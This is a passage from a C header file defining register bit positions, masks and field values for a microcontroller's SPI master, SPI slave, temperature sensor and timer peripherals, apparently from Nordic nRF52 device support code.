#define SPIM_PSEL_SCK_PIN_Msk (0x1FUL << SPIM_PSEL_SCK_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: SPIM_PSEL_MOSI */
/* Description: Pin select for MOSI signal */
/* Bit 31 : Connection */
#define SPIM_PSEL_MOSI_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define SPIM_PSEL_MOSI_CONNECT_Msk (0x1UL << SPIM_PSEL_MOSI_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define SPIM_PSEL_MOSI_CONNECT_Connected (0UL) /*!< Connect */
#define SPIM_PSEL_MOSI_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define SPIM_PSEL_MOSI_PIN_Pos (0UL) /*!< Position of PIN field. */
#define SPIM_PSEL_MOSI_PIN_Msk (0x1FUL << SPIM_PSEL_MOSI_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: SPIM_PSEL_MISO */
/* Description: Pin select for MISO signal */
/* Bit 31 : Connection */
#define SPIM_PSEL_MISO_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define SPIM_PSEL_MISO_CONNECT_Msk (0x1UL << SPIM_PSEL_MISO_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define SPIM_PSEL_MISO_CONNECT_Connected (0UL) /*!< Connect */
#define SPIM_PSEL_MISO_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define SPIM_PSEL_MISO_PIN_Pos (0UL) /*!< Position of PIN field. */
#define SPIM_PSEL_MISO_PIN_Msk (0x1FUL << SPIM_PSEL_MISO_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: SPIM_FREQUENCY */
/* Description: SPI frequency */
/* Bits 31..0 : SPI master data rate */
#define SPIM_FREQUENCY_FREQUENCY_Pos (0UL) /*!< Position of FREQUENCY field. */
#define SPIM_FREQUENCY_FREQUENCY_Msk (0xFFFFFFFFUL << SPIM_FREQUENCY_FREQUENCY_Pos) /*!< Bit mask of FREQUENCY field. */
#define SPIM_FREQUENCY_FREQUENCY_K125 (0x02000000UL) /*!< 125 kbps */
#define SPIM_FREQUENCY_FREQUENCY_K250 (0x04000000UL) /*!< 250 kbps */
#define SPIM_FREQUENCY_FREQUENCY_K500 (0x08000000UL) /*!< 500 kbps */
#define SPIM_FREQUENCY_FREQUENCY_M1 (0x10000000UL) /*!< 1 Mbps */
#define SPIM_FREQUENCY_FREQUENCY_M2 (0x20000000UL) /*!< 2 Mbps */
#define SPIM_FREQUENCY_FREQUENCY_M4 (0x40000000UL) /*!< 4 Mbps */
#define SPIM_FREQUENCY_FREQUENCY_M8 (0x80000000UL) /*!< 8 Mbps */
/* Register: SPIM_RXD_PTR */
/* Description: Data pointer */
/* Bits 31..0 : Data pointer */
#define SPIM_RXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define SPIM_RXD_PTR_PTR_Msk (0xFFFFFFFFUL << SPIM_RXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: SPIM_RXD_MAXCNT */
/* Description: Maximum number of bytes in receive buffer */
/* Bits 7..0 : Maximum number of bytes in receive buffer */
#define SPIM_RXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define SPIM_RXD_MAXCNT_MAXCNT_Msk (0xFFUL << SPIM_RXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: SPIM_RXD_AMOUNT */
/* Description: Number of bytes transferred in the last transaction */
/* Bits 7..0 : Number of bytes transferred in the last transaction */
#define SPIM_RXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define SPIM_RXD_AMOUNT_AMOUNT_Msk (0xFFUL << SPIM_RXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: SPIM_RXD_LIST */
/* Description: EasyDMA list type */
/* Bits 2..0 : List type */
#define SPIM_RXD_LIST_LIST_Pos (0UL) /*!< Position of LIST field. */
#define SPIM_RXD_LIST_LIST_Msk (0x7UL << SPIM_RXD_LIST_LIST_Pos) /*!< Bit mask of LIST field. */
#define SPIM_RXD_LIST_LIST_Disabled (0UL) /*!< Disable EasyDMA list */
#define SPIM_RXD_LIST_LIST_ArrayList (1UL) /*!< Use array list */
/* Register: SPIM_TXD_PTR */
/* Description: Data pointer */
/* Bits 31..0 : Data pointer */
#define SPIM_TXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define SPIM_TXD_PTR_PTR_Msk (0xFFFFFFFFUL << SPIM_TXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: SPIM_TXD_MAXCNT */
/* Description: Maximum number of bytes in transmit buffer */
/* Bits 7..0 : Maximum number of bytes in transmit buffer */
#define SPIM_TXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define SPIM_TXD_MAXCNT_MAXCNT_Msk (0xFFUL << SPIM_TXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: SPIM_TXD_AMOUNT */
/* Description: Number of bytes transferred in the last transaction */
/* Bits 7..0 : Number of bytes transferred in the last transaction */
#define SPIM_TXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define SPIM_TXD_AMOUNT_AMOUNT_Msk (0xFFUL << SPIM_TXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: SPIM_TXD_LIST */
/* Description: EasyDMA list type */
/* Bits 2..0 : List type */
#define SPIM_TXD_LIST_LIST_Pos (0UL) /*!< Position of LIST field. */
#define SPIM_TXD_LIST_LIST_Msk (0x7UL << SPIM_TXD_LIST_LIST_Pos) /*!< Bit mask of LIST field. */
#define SPIM_TXD_LIST_LIST_Disabled (0UL) /*!< Disable EasyDMA list */
#define SPIM_TXD_LIST_LIST_ArrayList (1UL) /*!< Use array list */
/* Register: SPIM_CONFIG */
/* Description: Configuration register */
/* Bit 2 : Serial clock (SCK) polarity */
#define SPIM_CONFIG_CPOL_Pos (2UL) /*!< Position of CPOL field. */
#define SPIM_CONFIG_CPOL_Msk (0x1UL << SPIM_CONFIG_CPOL_Pos) /*!< Bit mask of CPOL field. */
#define SPIM_CONFIG_CPOL_ActiveHigh (0UL) /*!< Active high */
#define SPIM_CONFIG_CPOL_ActiveLow (1UL) /*!< Active low */
/* Bit 1 : Serial clock (SCK) phase */
#define SPIM_CONFIG_CPHA_Pos (1UL) /*!< Position of CPHA field. */
#define SPIM_CONFIG_CPHA_Msk (0x1UL << SPIM_CONFIG_CPHA_Pos) /*!< Bit mask of CPHA field. */
#define SPIM_CONFIG_CPHA_Leading (0UL) /*!< Sample on leading edge of clock, shift serial data on trailing edge */
#define SPIM_CONFIG_CPHA_Trailing (1UL) /*!< Sample on trailing edge of clock, shift serial data on leading edge */
/* Bit 0 : Bit order */
#define SPIM_CONFIG_ORDER_Pos (0UL) /*!< Position of ORDER field. */
#define SPIM_CONFIG_ORDER_Msk (0x1UL << SPIM_CONFIG_ORDER_Pos) /*!< Bit mask of ORDER field. */
#define SPIM_CONFIG_ORDER_MsbFirst (0UL) /*!< Most significant bit shifted out first */
#define SPIM_CONFIG_ORDER_LsbFirst (1UL) /*!< Least significant bit shifted out first */
/* Register: SPIM_ORC */
/* Description: Over-read character. Character clocked out in case and over-read of the TXD buffer. */
/* Bits 7..0 : Over-read character. Character clocked out in case and over-read of the TXD buffer. */
#define SPIM_ORC_ORC_Pos (0UL) /*!< Position of ORC field. */
#define SPIM_ORC_ORC_Msk (0xFFUL << SPIM_ORC_ORC_Pos) /*!< Bit mask of ORC field. */
/* Peripheral: SPIS */
/* Description: SPI Slave 0 */
/* Register: SPIS_SHORTS */
/* Description: Shortcut register */
/* Bit 2 : Shortcut between END event and ACQUIRE task */
#define SPIS_SHORTS_END_ACQUIRE_Pos (2UL) /*!< Position of END_ACQUIRE field. */
#define SPIS_SHORTS_END_ACQUIRE_Msk (0x1UL << SPIS_SHORTS_END_ACQUIRE_Pos) /*!< Bit mask of END_ACQUIRE field. */
#define SPIS_SHORTS_END_ACQUIRE_Disabled (0UL) /*!< Disable shortcut */
#define SPIS_SHORTS_END_ACQUIRE_Enabled (1UL) /*!< Enable shortcut */
/* Register: SPIS_INTENSET */
/* Description: Enable interrupt */
/* Bit 10 : Write '1' to Enable interrupt for ACQUIRED event */
#define SPIS_INTENSET_ACQUIRED_Pos (10UL) /*!< Position of ACQUIRED field. */
#define SPIS_INTENSET_ACQUIRED_Msk (0x1UL << SPIS_INTENSET_ACQUIRED_Pos) /*!< Bit mask of ACQUIRED field. */
#define SPIS_INTENSET_ACQUIRED_Disabled (0UL) /*!< Read: Disabled */
#define SPIS_INTENSET_ACQUIRED_Enabled (1UL) /*!< Read: Enabled */
#define SPIS_INTENSET_ACQUIRED_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for ENDRX event */
#define SPIS_INTENSET_ENDRX_Pos (4UL) /*!< Position of ENDRX field. */
#define SPIS_INTENSET_ENDRX_Msk (0x1UL << SPIS_INTENSET_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define SPIS_INTENSET_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define SPIS_INTENSET_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define SPIS_INTENSET_ENDRX_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for END event */
#define SPIS_INTENSET_END_Pos (1UL) /*!< Position of END field. */
#define SPIS_INTENSET_END_Msk (0x1UL << SPIS_INTENSET_END_Pos) /*!< Bit mask of END field. */
#define SPIS_INTENSET_END_Disabled (0UL) /*!< Read: Disabled */
#define SPIS_INTENSET_END_Enabled (1UL) /*!< Read: Enabled */
#define SPIS_INTENSET_END_Set (1UL) /*!< Enable */
/* Register: SPIS_INTENCLR */
/* Description: Disable interrupt */
/* Bit 10 : Write '1' to Disable interrupt for ACQUIRED event */
#define SPIS_INTENCLR_ACQUIRED_Pos (10UL) /*!< Position of ACQUIRED field. */
#define SPIS_INTENCLR_ACQUIRED_Msk (0x1UL << SPIS_INTENCLR_ACQUIRED_Pos) /*!< Bit mask of ACQUIRED field. */
#define SPIS_INTENCLR_ACQUIRED_Disabled (0UL) /*!< Read: Disabled */
#define SPIS_INTENCLR_ACQUIRED_Enabled (1UL) /*!< Read: Enabled */
#define SPIS_INTENCLR_ACQUIRED_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for ENDRX event */
#define SPIS_INTENCLR_ENDRX_Pos (4UL) /*!< Position of ENDRX field. */
#define SPIS_INTENCLR_ENDRX_Msk (0x1UL << SPIS_INTENCLR_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define SPIS_INTENCLR_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define SPIS_INTENCLR_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define SPIS_INTENCLR_ENDRX_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for END event */
#define SPIS_INTENCLR_END_Pos (1UL) /*!< Position of END field. */
#define SPIS_INTENCLR_END_Msk (0x1UL << SPIS_INTENCLR_END_Pos) /*!< Bit mask of END field. */
#define SPIS_INTENCLR_END_Disabled (0UL) /*!< Read: Disabled */
#define SPIS_INTENCLR_END_Enabled (1UL) /*!< Read: Enabled */
#define SPIS_INTENCLR_END_Clear (1UL) /*!< Disable */
/* Register: SPIS_SEMSTAT */
/* Description: Semaphore status register */
/* Bits 1..0 : Semaphore status */
#define SPIS_SEMSTAT_SEMSTAT_Pos (0UL) /*!< Position of SEMSTAT field. */
#define SPIS_SEMSTAT_SEMSTAT_Msk (0x3UL << SPIS_SEMSTAT_SEMSTAT_Pos) /*!< Bit mask of SEMSTAT field. */
#define SPIS_SEMSTAT_SEMSTAT_Free (0UL) /*!< Semaphore is free */
#define SPIS_SEMSTAT_SEMSTAT_CPU (1UL) /*!< Semaphore is assigned to CPU */
#define SPIS_SEMSTAT_SEMSTAT_SPIS (2UL) /*!< Semaphore is assigned to SPI slave */
#define SPIS_SEMSTAT_SEMSTAT_CPUPending (3UL) /*!< Semaphore is assigned to SPI but a handover to the CPU is pending */
/* Register: SPIS_STATUS */
/* Description: Status from last transaction */
/* Bit 1 : RX buffer overflow detected, and prevented */
#define SPIS_STATUS_OVERFLOW_Pos (1UL) /*!< Position of OVERFLOW field. */
#define SPIS_STATUS_OVERFLOW_Msk (0x1UL << SPIS_STATUS_OVERFLOW_Pos) /*!< Bit mask of OVERFLOW field. */
#define SPIS_STATUS_OVERFLOW_NotPresent (0UL) /*!< Read: error not present */
#define SPIS_STATUS_OVERFLOW_Present (1UL) /*!< Read: error present */
#define SPIS_STATUS_OVERFLOW_Clear (1UL) /*!< Write: clear error on writing '1' */
/* Bit 0 : TX buffer over-read detected, and prevented */
#define SPIS_STATUS_OVERREAD_Pos (0UL) /*!< Position of OVERREAD field. */
#define SPIS_STATUS_OVERREAD_Msk (0x1UL << SPIS_STATUS_OVERREAD_Pos) /*!< Bit mask of OVERREAD field. */
#define SPIS_STATUS_OVERREAD_NotPresent (0UL) /*!< Read: error not present */
#define SPIS_STATUS_OVERREAD_Present (1UL) /*!< Read: error present */
#define SPIS_STATUS_OVERREAD_Clear (1UL) /*!< Write: clear error on writing '1' */
/* Register: SPIS_ENABLE */
/* Description: Enable SPI slave */
/* Bits 3..0 : Enable or disable SPI slave */
#define SPIS_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define SPIS_ENABLE_ENABLE_Msk (0xFUL << SPIS_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define SPIS_ENABLE_ENABLE_Disabled (0UL) /*!< Disable SPI slave */
#define SPIS_ENABLE_ENABLE_Enabled (2UL) /*!< Enable SPI slave */
/* Register: SPIS_PSEL_SCK */
/* Description: Pin select for SCK */
/* Bit 31 : Connection */
#define SPIS_PSEL_SCK_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define SPIS_PSEL_SCK_CONNECT_Msk (0x1UL << SPIS_PSEL_SCK_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define SPIS_PSEL_SCK_CONNECT_Connected (0UL) /*!< Connect */
#define SPIS_PSEL_SCK_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define SPIS_PSEL_SCK_PIN_Pos (0UL) /*!< Position of PIN field. */
#define SPIS_PSEL_SCK_PIN_Msk (0x1FUL << SPIS_PSEL_SCK_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: SPIS_PSEL_MISO */
/* Description: Pin select for MISO signal */
/* Bit 31 : Connection */
#define SPIS_PSEL_MISO_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define SPIS_PSEL_MISO_CONNECT_Msk (0x1UL << SPIS_PSEL_MISO_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define SPIS_PSEL_MISO_CONNECT_Connected (0UL) /*!< Connect */
#define SPIS_PSEL_MISO_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define SPIS_PSEL_MISO_PIN_Pos (0UL) /*!< Position of PIN field. */
#define SPIS_PSEL_MISO_PIN_Msk (0x1FUL << SPIS_PSEL_MISO_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: SPIS_PSEL_MOSI */
/* Description: Pin select for MOSI signal */
/* Bit 31 : Connection */
#define SPIS_PSEL_MOSI_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define SPIS_PSEL_MOSI_CONNECT_Msk (0x1UL << SPIS_PSEL_MOSI_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define SPIS_PSEL_MOSI_CONNECT_Connected (0UL) /*!< Connect */
#define SPIS_PSEL_MOSI_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define SPIS_PSEL_MOSI_PIN_Pos (0UL) /*!< Position of PIN field. */
#define SPIS_PSEL_MOSI_PIN_Msk (0x1FUL << SPIS_PSEL_MOSI_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: SPIS_PSEL_CSN */
/* Description: Pin select for CSN signal */
/* Bit 31 : Connection */
#define SPIS_PSEL_CSN_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define SPIS_PSEL_CSN_CONNECT_Msk (0x1UL << SPIS_PSEL_CSN_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define SPIS_PSEL_CSN_CONNECT_Connected (0UL) /*!< Connect */
#define SPIS_PSEL_CSN_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define SPIS_PSEL_CSN_PIN_Pos (0UL) /*!< Position of PIN field. */
#define SPIS_PSEL_CSN_PIN_Msk (0x1FUL << SPIS_PSEL_CSN_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: SPIS_RXD_PTR */
/* Description: RXD data pointer */
/* Bits 31..0 : RXD data pointer */
#define SPIS_RXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define SPIS_RXD_PTR_PTR_Msk (0xFFFFFFFFUL << SPIS_RXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: SPIS_RXD_MAXCNT */
/* Description: Maximum number of bytes in receive buffer */
/* Bits 7..0 : Maximum number of bytes in receive buffer */
#define SPIS_RXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define SPIS_RXD_MAXCNT_MAXCNT_Msk (0xFFUL << SPIS_RXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: SPIS_RXD_AMOUNT */
/* Description: Number of bytes received in last granted transaction */
/* Bits 7..0 : Number of bytes received in the last granted transaction */
#define SPIS_RXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define SPIS_RXD_AMOUNT_AMOUNT_Msk (0xFFUL << SPIS_RXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: SPIS_TXD_PTR */
/* Description: TXD data pointer */
/* Bits 31..0 : TXD data pointer */
#define SPIS_TXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define SPIS_TXD_PTR_PTR_Msk (0xFFFFFFFFUL << SPIS_TXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: SPIS_TXD_MAXCNT */
/* Description: Maximum number of bytes in transmit buffer */
/* Bits 7..0 : Maximum number of bytes in transmit buffer */
#define SPIS_TXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define SPIS_TXD_MAXCNT_MAXCNT_Msk (0xFFUL << SPIS_TXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: SPIS_TXD_AMOUNT */
/* Description: Number of bytes transmitted in last granted transaction */
/* Bits 7..0 : Number of bytes transmitted in last granted transaction */
#define SPIS_TXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define SPIS_TXD_AMOUNT_AMOUNT_Msk (0xFFUL << SPIS_TXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: SPIS_CONFIG */
/* Description: Configuration register */
/* Bit 2 : Serial clock (SCK) polarity */
#define SPIS_CONFIG_CPOL_Pos (2UL) /*!< Position of CPOL field. */
#define SPIS_CONFIG_CPOL_Msk (0x1UL << SPIS_CONFIG_CPOL_Pos) /*!< Bit mask of CPOL field. */
#define SPIS_CONFIG_CPOL_ActiveHigh (0UL) /*!< Active high */
#define SPIS_CONFIG_CPOL_ActiveLow (1UL) /*!< Active low */
/* Bit 1 : Serial clock (SCK) phase */
#define SPIS_CONFIG_CPHA_Pos (1UL) /*!< Position of CPHA field. */
#define SPIS_CONFIG_CPHA_Msk (0x1UL << SPIS_CONFIG_CPHA_Pos) /*!< Bit mask of CPHA field. */
#define SPIS_CONFIG_CPHA_Leading (0UL) /*!< Sample on leading edge of clock, shift serial data on trailing edge */
#define SPIS_CONFIG_CPHA_Trailing (1UL) /*!< Sample on trailing edge of clock, shift serial data on leading edge */
/* Bit 0 : Bit order */
#define SPIS_CONFIG_ORDER_Pos (0UL) /*!< Position of ORDER field. */
#define SPIS_CONFIG_ORDER_Msk (0x1UL << SPIS_CONFIG_ORDER_Pos) /*!< Bit mask of ORDER field. */
#define SPIS_CONFIG_ORDER_MsbFirst (0UL) /*!< Most significant bit shifted out first */
#define SPIS_CONFIG_ORDER_LsbFirst (1UL) /*!< Least significant bit shifted out first */
/* Register: SPIS_DEF */
/* Description: Default character. Character clocked out in case of an ignored transaction. */
/* Bits 7..0 : Default character. Character clocked out in case of an ignored transaction. */
#define SPIS_DEF_DEF_Pos (0UL) /*!< Position of DEF field. */
#define SPIS_DEF_DEF_Msk (0xFFUL << SPIS_DEF_DEF_Pos) /*!< Bit mask of DEF field. */
/* Register: SPIS_ORC */
/* Description: Over-read character */
/* Bits 7..0 : Over-read character. Character clocked out after an over-read of the transmit buffer. */
#define SPIS_ORC_ORC_Pos (0UL) /*!< Position of ORC field. */
#define SPIS_ORC_ORC_Msk (0xFFUL << SPIS_ORC_ORC_Pos) /*!< Bit mask of ORC field. */
/* Peripheral: TEMP */
/* Description: Temperature Sensor */
/* Register: TEMP_INTENSET */
/* Description: Enable interrupt */
/* Bit 0 : Write '1' to Enable interrupt for DATARDY event */
#define TEMP_INTENSET_DATARDY_Pos (0UL) /*!< Position of DATARDY field. */
#define TEMP_INTENSET_DATARDY_Msk (0x1UL << TEMP_INTENSET_DATARDY_Pos) /*!< Bit mask of DATARDY field. */
#define TEMP_INTENSET_DATARDY_Disabled (0UL) /*!< Read: Disabled */
#define TEMP_INTENSET_DATARDY_Enabled (1UL) /*!< Read: Enabled */
#define TEMP_INTENSET_DATARDY_Set (1UL) /*!< Enable */
/* Register: TEMP_INTENCLR */
/* Description: Disable interrupt */
/* Bit 0 : Write '1' to Disable interrupt for DATARDY event */
#define TEMP_INTENCLR_DATARDY_Pos (0UL) /*!< Position of DATARDY field. */
#define TEMP_INTENCLR_DATARDY_Msk (0x1UL << TEMP_INTENCLR_DATARDY_Pos) /*!< Bit mask of DATARDY field. */
#define TEMP_INTENCLR_DATARDY_Disabled (0UL) /*!< Read: Disabled */
#define TEMP_INTENCLR_DATARDY_Enabled (1UL) /*!< Read: Enabled */
#define TEMP_INTENCLR_DATARDY_Clear (1UL) /*!< Disable */
/* Register: TEMP_TEMP */
/* Description: Temperature in degC (0.25deg steps) */
/* Bits 31..0 : Temperature in degC (0.25deg steps) */
#define TEMP_TEMP_TEMP_Pos (0UL) /*!< Position of TEMP field. */
#define TEMP_TEMP_TEMP_Msk (0xFFFFFFFFUL << TEMP_TEMP_TEMP_Pos) /*!< Bit mask of TEMP field. */
/* Register: TEMP_A0 */
/* Description: Slope of 1st piece wise linear function */
/* Bits 11..0 : Slope of 1st piece wise linear function */
#define TEMP_A0_A0_Pos (0UL) /*!< Position of A0 field. */
#define TEMP_A0_A0_Msk (0xFFFUL << TEMP_A0_A0_Pos) /*!< Bit mask of A0 field. */
/* Register: TEMP_A1 */
/* Description: Slope of 2nd piece wise linear function */
/* Bits 11..0 : Slope of 2nd piece wise linear function */
#define TEMP_A1_A1_Pos (0UL) /*!< Position of A1 field. */
#define TEMP_A1_A1_Msk (0xFFFUL << TEMP_A1_A1_Pos) /*!< Bit mask of A1 field. */
/* Register: TEMP_A2 */
/* Description: Slope of 3rd piece wise linear function */
/* Bits 11..0 : Slope of 3rd piece wise linear function */
#define TEMP_A2_A2_Pos (0UL) /*!< Position of A2 field. */
#define TEMP_A2_A2_Msk (0xFFFUL << TEMP_A2_A2_Pos) /*!< Bit mask of A2 field. */
/* Register: TEMP_A3 */
/* Description: Slope of 4th piece wise linear function */
/* Bits 11..0 : Slope of 4th piece wise linear function */
#define TEMP_A3_A3_Pos (0UL) /*!< Position of A3 field. */
#define TEMP_A3_A3_Msk (0xFFFUL << TEMP_A3_A3_Pos) /*!< Bit mask of A3 field. */
/* Register: TEMP_A4 */
/* Description: Slope of 5th piece wise linear function */
/* Bits 11..0 : Slope of 5th piece wise linear function */
#define TEMP_A4_A4_Pos (0UL) /*!< Position of A4 field. */
#define TEMP_A4_A4_Msk (0xFFFUL << TEMP_A4_A4_Pos) /*!< Bit mask of A4 field. */
/* Register: TEMP_A5 */
/* Description: Slope of 6th piece wise linear function */
/* Bits 11..0 : Slope of 6th piece wise linear function */
#define TEMP_A5_A5_Pos (0UL) /*!< Position of A5 field. */
#define TEMP_A5_A5_Msk (0xFFFUL << TEMP_A5_A5_Pos) /*!< Bit mask of A5 field. */
/* Register: TEMP_B0 */
/* Description: y-intercept of 1st piece wise linear function */
/* Bits 13..0 : y-intercept of 1st piece wise linear function */
#define TEMP_B0_B0_Pos (0UL) /*!< Position of B0 field. */
#define TEMP_B0_B0_Msk (0x3FFFUL << TEMP_B0_B0_Pos) /*!< Bit mask of B0 field. */
/* Register: TEMP_B1 */
/* Description: y-intercept of 2nd piece wise linear function */
/* Bits 13..0 : y-intercept of 2nd piece wise linear function */
#define TEMP_B1_B1_Pos (0UL) /*!< Position of B1 field. */
#define TEMP_B1_B1_Msk (0x3FFFUL << TEMP_B1_B1_Pos) /*!< Bit mask of B1 field. */
/* Register: TEMP_B2 */
/* Description: y-intercept of 3rd piece wise linear function */
/* Bits 13..0 : y-intercept of 3rd piece wise linear function */
#define TEMP_B2_B2_Pos (0UL) /*!< Position of B2 field. */
#define TEMP_B2_B2_Msk (0x3FFFUL << TEMP_B2_B2_Pos) /*!< Bit mask of B2 field. */
/* Register: TEMP_B3 */
/* Description: y-intercept of 4th piece wise linear function */
/* Bits 13..0 : y-intercept of 4th piece wise linear function */
#define TEMP_B3_B3_Pos (0UL) /*!< Position of B3 field. */
#define TEMP_B3_B3_Msk (0x3FFFUL << TEMP_B3_B3_Pos) /*!< Bit mask of B3 field. */
/* Register: TEMP_B4 */
/* Description: y-intercept of 5th piece wise linear function */
/* Bits 13..0 : y-intercept of 5th piece wise linear function */
#define TEMP_B4_B4_Pos (0UL) /*!< Position of B4 field. */
#define TEMP_B4_B4_Msk (0x3FFFUL << TEMP_B4_B4_Pos) /*!< Bit mask of B4 field. */
/* Register: TEMP_B5 */
/* Description: y-intercept of 6th piece wise linear function */
/* Bits 13..0 : y-intercept of 6th piece wise linear function */
#define TEMP_B5_B5_Pos (0UL) /*!< Position of B5 field. */
#define TEMP_B5_B5_Msk (0x3FFFUL << TEMP_B5_B5_Pos) /*!< Bit mask of B5 field. */
/* Register: TEMP_T0 */
/* Description: End point of 1st piece wise linear function */
/* Bits 7..0 : End point of 1st piece wise linear function */
#define TEMP_T0_T0_Pos (0UL) /*!< Position of T0 field. */
#define TEMP_T0_T0_Msk (0xFFUL << TEMP_T0_T0_Pos) /*!< Bit mask of T0 field. */
/* Register: TEMP_T1 */
/* Description: End point of 2nd piece wise linear function */
/* Bits 7..0 : End point of 2nd piece wise linear function */
#define TEMP_T1_T1_Pos (0UL) /*!< Position of T1 field. */
#define TEMP_T1_T1_Msk (0xFFUL << TEMP_T1_T1_Pos) /*!< Bit mask of T1 field. */
/* Register: TEMP_T2 */
/* Description: End point of 3rd piece wise linear function */
/* Bits 7..0 : End point of 3rd piece wise linear function */
#define TEMP_T2_T2_Pos (0UL) /*!< Position of T2 field. */
#define TEMP_T2_T2_Msk (0xFFUL << TEMP_T2_T2_Pos) /*!< Bit mask of T2 field. */
/* Register: TEMP_T3 */
/* Description: End point of 4th piece wise linear function */
/* Bits 7..0 : End point of 4th piece wise linear function */
#define TEMP_T3_T3_Pos (0UL) /*!< Position of T3 field. */
#define TEMP_T3_T3_Msk (0xFFUL << TEMP_T3_T3_Pos) /*!< Bit mask of T3 field. */
/* Register: TEMP_T4 */
/* Description: End point of 5th piece wise linear function */
/* Bits 7..0 : End point of 5th piece wise linear function */
#define TEMP_T4_T4_Pos (0UL) /*!< Position of T4 field. */
#define TEMP_T4_T4_Msk (0xFFUL << TEMP_T4_T4_Pos) /*!< Bit mask of T4 field. */
/* Peripheral: TIMER */
/* Description: Timer/Counter 0 */
/* Register: TIMER_SHORTS */
/* Description: Shortcut register */
/* Bit 13 : Shortcut between COMPARE[5] event and STOP task */
#define TIMER_SHORTS_COMPARE5_STOP_Pos (13UL) /*!< Position of COMPARE5_STOP field. */
#define TIMER_SHORTS_COMPARE5_STOP_Msk (0x1UL << TIMER_SHORTS_COMPARE5_STOP_Pos) /*!< Bit mask of COMPARE5_STOP field. */
#define TIMER_SHORTS_COMPARE5_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE5_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 12 : Shortcut between COMPARE[4] event and STOP task */
#define TIMER_SHORTS_COMPARE4_STOP_Pos (12UL) /*!< Position of COMPARE4_STOP field. */
#define TIMER_SHORTS_COMPARE4_STOP_Msk (0x1UL << TIMER_SHORTS_COMPARE4_STOP_Pos) /*!< Bit mask of COMPARE4_STOP field. */
#define TIMER_SHORTS_COMPARE4_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE4_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 11 : Shortcut between COMPARE[3] event and STOP task */
#define TIMER_SHORTS_COMPARE3_STOP_Pos (11UL) /*!< Position of COMPARE3_STOP field. */
#define TIMER_SHORTS_COMPARE3_STOP_Msk (0x1UL << TIMER_SHORTS_COMPARE3_STOP_Pos) /*!< Bit mask of COMPARE3_STOP field. */
#define TIMER_SHORTS_COMPARE3_STOP_Disabled (0UL) /*!< Disable shortcut */
